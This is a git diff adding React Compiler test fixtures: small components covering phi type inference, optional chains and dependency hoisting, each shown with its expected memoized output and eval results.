diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/phi-type-inference-array-push-consecutive-phis.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/phi-type-inference-array-push-consecutive-phis.js
new file mode 100644
index 000000000000..9173848b49b9
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/phi-type-inference-array-push-consecutive-phis.js
@@ -0,0 +1,38 @@
+// @enablePropagateDepsInHIR
+import {makeArray} from 'shared-runtime';
+
+function Component(props) {
+  const x = {};
+  let y;
+  if (props.cond) {
+    if (props.cond2) {
+      y = [props.value];
+    } else {
+      y = [props.value2];
+    }
+  } else {
+    y = [];
+  }
+  // This should be inferred as `<store> y` s.t. `x` can still
+  // be independently memoized. *But* this also must properly
+  // extend the mutable range of the array literals in the
+  // if/else branches
+  y.push(x);
+
+  return [x, y];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{cond: true, cond2: true, value: 42}],
+  sequentialRenders: [
+    {cond: true, cond2: true, value: 3.14},
+    {cond: true, cond2: true, value: 42},
+    {cond: true, cond2: true, value: 3.14},
+    {cond: true, cond2: false, value2: 3.14},
+    {cond: true, cond2: false, value2: 42},
+    {cond: true, cond2: false, value2: 3.14},
+    {cond: false},
+    {cond: false},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/phi-type-inference-array-push.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/phi-type-inference-array-push.expect.md
new file mode 100644
index 000000000000..a9a07e97244b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/phi-type-inference-array-push.expect.md
@@ -0,0 +1,83 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+function Component(props) {
+  const x = {};
+  let y;
+  if (props.cond) {
+    y = [props.value];
+  } else {
+    y = [];
+  }
+  // This should be inferred as `<store> y` s.t. `x` can still
+  // be independently memoized. *But* this also must properly
+  // extend the mutable range of the array literals in the
+  // if/else branches
+  y.push(x);
+
+  return [x, y];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{cond: true, value: 42}],
+  sequentialRenders: [
+    {cond: true, value: 3.14},
+    {cond: false, value: 3.14},
+    {cond: true, value: 42},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+function Component(props) {
+  const $ = _c(4);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = {};
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  const x = t0;
+  let t1;
+  if ($[1] !== props.cond || $[2] !== props.value) {
+    let y;
+    if (props.cond) {
+      y = [props.value];
+    } else {
+      y = [];
+    }
+    y.push(x);
+    t1 = [x, y];
+    $[1] = props.cond;
+    $[2] = props.value;
+    $[3] = t1;
+  } else {
+    t1 = $[3];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ cond: true, value: 42 }],
+  sequentialRenders: [
+    { cond: true, value: 3.14 },
+    { cond: false, value: 3.14 },
+    { cond: true, value: 42 },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) [{},[3.14,"[[ cyclic ref *1 ]]"]]
+[{},["[[ cyclic ref *1 ]]"]]
+[{},[42,"[[ cyclic ref *1 ]]"]]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/phi-type-inference-array-push.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/phi-type-inference-array-push.js
new file mode 100644
index 000000000000..0b60f4e44315
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/phi-type-inference-array-push.js
@@ -0,0 +1,27 @@
+// @enablePropagateDepsInHIR
+function Component(props) {
+  const x = {};
+  let y;
+  if (props.cond) {
+    y = [props.value];
+  } else {
+    y = [];
+  }
+  // This should be inferred as `<store> y` s.t. `x` can still
+  // be independently memoized. *But* this also must properly
+  // extend the mutable range of the array literals in the
+  // if/else branches
+  y.push(x);
+
+  return [x, y];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{cond: true, value: 42}],
+  sequentialRenders: [
+    {cond: true, value: 3.14},
+    {cond: false, value: 3.14},
+    {cond: true, value: 42},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/phi-type-inference-property-store.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/phi-type-inference-property-store.expect.md
new file mode 100644
index 000000000000..fb2d28b0306b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/phi-type-inference-property-store.expect.md
@@ -0,0 +1,71 @@
+
+## Input
+
+```javascript
+// @debug @enablePropagateDepsInHIR
+function Component(props) {
+  const x = {};
+  let y;
+  if (props.cond) {
+    y = {};
+  } else {
+    y = {a: props.a};
+  }
+  // This should be inferred as `<store> y` s.t. `x` can still
+  // be independently memoized. *But* this also must properly
+  // extend the mutable range of the object literals in the
+  // if/else branches
+  y.x = x;
+
+  return [x, y];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{cond: false, a: 'a!'}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @debug @enablePropagateDepsInHIR
+function Component(props) {
+  const $ = _c(4);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = {};
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  const x = t0;
+  let t1;
+  if ($[1] !== props.a || $[2] !== props.cond) {
+    let y;
+    if (props.cond) {
+      y = {};
+    } else {
+      y = { a: props.a };
+    }
+    y.x = x;
+    t1 = [x, y];
+    $[1] = props.a;
+    $[2] = props.cond;
+    $[3] = t1;
+  } else {
+    t1 = $[3];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ cond: false, a: "a!" }],
+};
+
+```
+      
+### Eval output
+(kind: ok) [{},{"a":"a!","x":"[[ cyclic ref *1 ]]"}]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/phi-type-inference-property-store.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/phi-type-inference-property-store.js
new file mode 100644
index 000000000000..3611da08d2fb
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/phi-type-inference-property-store.js
@@ -0,0 +1,22 @@
+// @debug @enablePropagateDepsInHIR
+function Component(props) {
+  const x = {};
+  let y;
+  if (props.cond) {
+    y = {};
+  } else {
+    y = {a: props.a};
+  }
+  // This should be inferred as `<store> y` s.t. `x` can still
+  // be independently memoized. *But* this also must properly
+  // extend the mutable range of the object literals in the
+  // if/else branches
+  y.x = x;
+
+  return [x, y];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{cond: false, a: 'a!'}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reactive-dependencies-non-optional-properties-inside-optional-chain.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reactive-dependencies-non-optional-properties-inside-optional-chain.expect.md
new file mode 100644
index 000000000000..9a524e6357a1
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reactive-dependencies-non-optional-properties-inside-optional-chain.expect.md
@@ -0,0 +1,32 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+function Component(props) {
+  return props.post.feedback.comments?.edges?.map(render);
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+function Component(props) {
+  const $ = _c(2);
+  let t0;
+  if ($[0] !== props.post.feedback.comments?.edges) {
+    t0 = props.post.feedback.comments?.edges?.map(render);
+    $[0] = props.post.feedback.comments?.edges;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  return t0;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/reactive-dependencies-non-optional-properties-inside-optional-chain.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reactive-dependencies-non-optional-properties-inside-optional-chain.js
similarity index 75%
rename from compiler/crates/react_hermes_parser/tests/fixtures/reactive-dependencies-non-optional-properties-inside-optional-chain.js
rename to compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reactive-dependencies-non-optional-properties-inside-optional-chain.js
index e8e0da392e9e..58ad2a210fab 100644
--- a/compiler/crates/react_hermes_parser/tests/fixtures/reactive-dependencies-non-optional-properties-inside-optional-chain.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reactive-dependencies-non-optional-properties-inside-optional-chain.js
@@ -1,3 +1,4 @@
+// @enablePropagateDepsInHIR
 function Component(props) {
   return props.post.feedback.comments?.edges?.map(render);
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/conditional-member-expr.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/conditional-member-expr.expect.md
new file mode 100644
index 000000000000..f13bfe7d6170
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/conditional-member-expr.expect.md
@@ -0,0 +1,53 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+// To preserve the nullthrows behavior and reactive deps of this code,
+// Forget needs to add `props.a` as a dependency (since `props.a.b` is
+// a conditional dependency, i.e. gated behind control flow)
+
+function Component(props) {
+  let x = [];
+  x.push(props.a?.b);
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: null}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+// To preserve the nullthrows behavior and reactive deps of this code,
+// Forget needs to add `props.a` as a dependency (since `props.a.b` is
+// a conditional dependency, i.e. gated behind control flow)
+
+function Component(props) {
+  const $ = _c(2);
+  let x;
+  if ($[0] !== props.a?.b) {
+    x = [];
+    x.push(props.a?.b);
+    $[0] = props.a?.b;
+    $[1] = x;
+  } else {
+    x = $[1];
+  }
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: null }],
+};
+
+```
+      
+### Eval output
+(kind: ok) [null]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/conditional-member-expr.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/conditional-member-expr.js
new file mode 100644
index 000000000000..447665425e7d
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/conditional-member-expr.js
@@ -0,0 +1,15 @@
+// @enablePropagateDepsInHIR
+// To preserve the nullthrows behavior and reactive deps of this code,
+// Forget needs to add `props.a` as a dependency (since `props.a.b` is
+// a conditional dependency, i.e. gated behind control flow)
+
+function Component(props) {
+  let x = [];
+  x.push(props.a?.b);
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: null}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-cond-access-local-var.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-cond-access-local-var.expect.md
new file mode 100644
index 000000000000..673dd0d5fdf5
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-cond-access-local-var.expect.md
@@ -0,0 +1,97 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+
+import {shallowCopy, mutate, Stringify} from 'shared-runtime';
+
+function useFoo({
+  a,
+  shouldReadA,
+}: {
+  a: {b: {c: number}; x: number};
+  shouldReadA: boolean;
+}) {
+  const local = shallowCopy(a);
+  mutate(local);
+  return (
+    <Stringify
+      fn={() => {
+        if (shouldReadA) return local.b.c;
+        return null;
+      }}
+      shouldInvokeFns={true}
+    />
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{a: null, shouldReadA: true}],
+  sequentialRenders: [
+    {a: null, shouldReadA: true},
+    {a: null, shouldReadA: false},
+    {a: {b: {c: 4}}, shouldReadA: true},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+
+import { shallowCopy, mutate, Stringify } from "shared-runtime";
+
+function useFoo(t0) {
+  const $ = _c(5);
+  const { a, shouldReadA } = t0;
+  let local;
+  if ($[0] !== a) {
+    local = shallowCopy(a);
+    mutate(local);
+    $[0] = a;
+    $[1] = local;
+  } else {
+    local = $[1];
+  }
+  let t1;
+  if ($[2] !== local || $[3] !== shouldReadA) {
+    t1 = (
+      <Stringify
+        fn={() => {
+          if (shouldReadA) {
+            return local.b.c;
+          }
+          return null;
+        }}
+        shouldInvokeFns={true}
+      />
+    );
+    $[2] = local;
+    $[3] = shouldReadA;
+    $[4] = t1;
+  } else {
+    t1 = $[4];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ a: null, shouldReadA: true }],
+  sequentialRenders: [
+    { a: null, shouldReadA: true },
+    { a: null, shouldReadA: false },
+    { a: { b: { c: 4 } }, shouldReadA: true },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) [[ (exception in render) TypeError: Cannot read properties of undefined (reading 'c') ]]
+<div>{"fn":{"kind":"Function","result":null},"shouldInvokeFns":true}</div>
+<div>{"fn":{"kind":"Function","result":4},"shouldInvokeFns":true}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-cond-access-local-var.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-cond-access-local-var.tsx
new file mode 100644
index 000000000000..fdf22dc970b1
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-cond-access-local-var.tsx
@@ -0,0 +1,33 @@
+// @enablePropagateDepsInHIR
+
+import {shallowCopy, mutate, Stringify} from 'shared-runtime';
+
+function useFoo({
+  a,
+  shouldReadA,
+}: {
+  a: {b: {c: number}; x: number};
+  shouldReadA: boolean;
+}) {
+  const local = shallowCopy(a);
+  mutate(local);
+  return (
+    <Stringify
+      fn={() => {
+        if (shouldReadA) return local.b.c;
+        return null;
+      }}
+      shouldInvokeFns={true}
+    />
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{a: null, shouldReadA: true}],
+  sequentialRenders: [
+    {a: null, shouldReadA: true},
+    {a: null, shouldReadA: false},
+    {a: {b: {c: 4}}, shouldReadA: true},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-cond-access-not-hoisted.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-cond-access-not-hoisted.expect.md
new file mode 100644
index 000000000000..abf4c98f2327
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-cond-access-not-hoisted.expect.md
@@ -0,0 +1,80 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+
+import {Stringify} from 'shared-runtime';
+
+function Foo({a, shouldReadA}) {
+  return (
+    <Stringify
+      fn={() => {
+        if (shouldReadA) return a.b.c;
+        return null;
+      }}
+      shouldInvokeFns={true}
+    />
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{a: null, shouldReadA: true}],
+  sequentialRenders: [
+    {a: null, shouldReadA: true},
+    {a: null, shouldReadA: false},
+    {a: {b: {c: 4}}, shouldReadA: true},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+
+import { Stringify } from "shared-runtime";
+
+function Foo(t0) {
+  const $ = _c(3);
+  const { a, shouldReadA } = t0;
+  let t1;
+  if ($[0] !== a || $[1] !== shouldReadA) {
+    t1 = (
+      <Stringify
+        fn={() => {
+          if (shouldReadA) {
+            return a.b.c;
+          }
+          return null;
+        }}
+        shouldInvokeFns={true}
+      />
+    );
+    $[0] = a;
+    $[1] = shouldReadA;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{ a: null, shouldReadA: true }],
+  sequentialRenders: [
+    { a: null, shouldReadA: true },
+    { a: null, shouldReadA: false },
+    { a: { b: { c: 4 } }, shouldReadA: true },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) [[ (exception in render) TypeError: Cannot read properties of null (reading 'b') ]]
+<div>{"fn":{"kind":"Function","result":null},"shouldInvokeFns":true}</div>
+<div>{"fn":{"kind":"Function","result":4},"shouldInvokeFns":true}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-cond-access-not-hoisted.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-cond-access-not-hoisted.tsx
new file mode 100644
index 000000000000..5c71d57750c3
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-cond-access-not-hoisted.tsx
@@ -0,0 +1,25 @@
+// @enablePropagateDepsInHIR
+
+import {Stringify} from 'shared-runtime';
+
+function Foo({a, shouldReadA}) {
+  return (
+    <Stringify
+      fn={() => {
+        if (shouldReadA) return a.b.c;
+        return null;
+      }}
+      shouldInvokeFns={true}
+    />
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{a: null, shouldReadA: true}],
+  sequentialRenders: [
+    {a: null, shouldReadA: true},
+    {a: null, shouldReadA: false},
+    {a: {b: {c: 4}}, shouldReadA: true},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-uncond-access-hoisted.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-uncond-access-hoisted.expect.md
new file mode 100644
index 000000000000..1ddc7495bc3e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-uncond-access-hoisted.expect.md
@@ -0,0 +1,52 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+
+import {Stringify} from 'shared-runtime';
+
+function useFoo({a}) {
+  return <Stringify fn={() => a.b.c} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{a: null}],
+  sequentialRenders: [{a: null}, {a: {b: {c: 4}}}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+
+import { Stringify } from "shared-runtime";
+
+function useFoo(t0) {
+  const $ = _c(2);
+  const { a } = t0;
+  let t1;
+  if ($[0] !== a.b.c) {
+    t1 = <Stringify fn={() => a.b.c} shouldInvokeFns={true} />;
+    $[0] = a.b.c;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ a: null }],
+  sequentialRenders: [{ a: null }, { a: { b: { c: 4 } } }],
+};
+
+```
+      
+### Eval output
+(kind: ok) [[ (exception in render) TypeError: Cannot read properties of null (reading 'b') ]]
+<div>{"fn":{"kind":"Function","result":4},"shouldInvokeFns":true}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-uncond-access-hoisted.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-uncond-access-hoisted.tsx
new file mode 100644
index 000000000000..9cc72a36d7e7
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-uncond-access-hoisted.tsx
@@ -0,0 +1,13 @@
+// @enablePropagateDepsInHIR
+
+import {Stringify} from 'shared-runtime';
+
+function useFoo({a}) {
+  return <Stringify fn={() => a.b.c} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{a: null}],
+  sequentialRenders: [{a: null}, {a: {b: {c: 4}}}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-uncond-access-hoists-other-dep.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-uncond-access-hoists-other-dep.expect.md
new file mode 100644
index 000000000000..d82956e4a0db
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-uncond-access-hoists-other-dep.expect.md
@@ -0,0 +1,92 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+
+import {identity, makeArray, Stringify, useIdentity} from 'shared-runtime';
+
+function Foo({a, cond}) {
+  // Assume fn will be uncond evaluated, so we can safely evaluate {a.<any>,
+  // a.b.<any}
+  const fn = () => [a, a.b.c];
+  useIdentity(null);
+  const x = makeArray();
+  if (cond) {
+    x.push(identity(a.b.c));
+  }
+  return <Stringify fn={fn} x={x} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{a: null, cond: true}],
+  sequentialRenders: [
+    {a: null, cond: true},
+    {a: {b: {c: 4}}, cond: true},
+    {a: {b: {c: 4}}, cond: true},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+
+import { identity, makeArray, Stringify, useIdentity } from "shared-runtime";
+
+function Foo(t0) {
+  const $ = _c(8);
+  const { a, cond } = t0;
+  let t1;
+  if ($[0] !== a) {
+    t1 = () => [a, a.b.c];
+    $[0] = a;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const fn = t1;
+  useIdentity(null);
+  let x;
+  if ($[2] !== a.b.c || $[3] !== cond) {
+    x = makeArray();
+    if (cond) {
+      x.push(identity(a.b.c));
+    }
+    $[2] = a.b.c;
+    $[3] = cond;
+    $[4] = x;
+  } else {
+    x = $[4];
+  }
+  let t2;
+  if ($[5] !== fn || $[6] !== x) {
+    t2 = <Stringify fn={fn} x={x} shouldInvokeFns={true} />;
+    $[5] = fn;
+    $[6] = x;
+    $[7] = t2;
+  } else {
+    t2 = $[7];
+  }
+  return t2;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{ a: null, cond: true }],
+  sequentialRenders: [
+    { a: null, cond: true },
+    { a: { b: { c: 4 } }, cond: true },
+    { a: { b: { c: 4 } }, cond: true },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) [[ (exception in render) TypeError: Cannot read properties of null (reading 'b') ]]
+<div>{"fn":{"kind":"Function","result":[{"b":{"c":4}},4]},"x":[4],"shouldInvokeFns":true}</div>
+<div>{"fn":{"kind":"Function","result":[{"b":{"c":4}},4]},"x":[4],"shouldInvokeFns":true}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-uncond-access-hoists-other-dep.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-uncond-access-hoists-other-dep.tsx
new file mode 100644
index 000000000000..a9956ed8a5ff
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-uncond-access-hoists-other-dep.tsx
@@ -0,0 +1,25 @@
+// @enablePropagateDepsInHIR
+
+import {identity, makeArray, Stringify, useIdentity} from 'shared-runtime';
+
+function Foo({a, cond}) {
+  // Assume fn will be uncond evaluated, so we can safely evaluate {a.<any>,
+  // a.b.<any}
+  const fn = () => [a, a.b.c];
+  useIdentity(null);
+  const x = makeArray();
+  if (cond) {
+    x.push(identity(a.b.c));
+  }
+  return <Stringify fn={fn} x={x} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{a: null, cond: true}],
+  sequentialRenders: [
+    {a: null, cond: true},
+    {a: {b: {c: 4}}, cond: true},
+    {a: {b: {c: 4}}, cond: true},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-uncond-access-local-var.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-uncond-access-local-var.expect.md
new file mode 100644
index 000000000000..41bab7ccc9d6
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-uncond-access-local-var.expect.md
@@ -0,0 +1,65 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+
+import {mutate, shallowCopy, Stringify} from 'shared-runtime';
+
+function useFoo({a}: {a: {b: {c: number}}}) {
+  const local = shallowCopy(a);
+  mutate(local);
+  const fn = () => local.b.c;
+  return <Stringify fn={fn} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{a: null}],
+  sequentialRenders: [{a: null}, {a: {b: {c: 4}}}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+
+import { mutate, shallowCopy, Stringify } from "shared-runtime";
+
+function useFoo(t0) {
+  const $ = _c(4);
+  const { a } = t0;
+  let local;
+  if ($[0] !== a) {
+    local = shallowCopy(a);
+    mutate(local);
+    $[0] = a;
+    $[1] = local;
+  } else {
+    local = $[1];
+  }
+  let t1;
+  if ($[2] !== local.b.c) {
+    const fn = () => local.b.c;
+    t1 = <Stringify fn={fn} shouldInvokeFns={true} />;
+    $[2] = local.b.c;
+    $[3] = t1;
+  } else {
+    t1 = $[3];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ a: null }],
+  sequentialRenders: [{ a: null }, { a: { b: { c: 4 } } }],
+};
+
+```
+      
+### Eval output
+(kind: ok) [[ (exception in render) TypeError: Cannot read properties of undefined (reading 'c') ]]
+<div>{"fn":{"kind":"Function","result":4},"shouldInvokeFns":true}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-uncond-access-local-var.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-uncond-access-local-var.tsx
new file mode 100644
index 000000000000..16a0964351d0
--- /dev/null
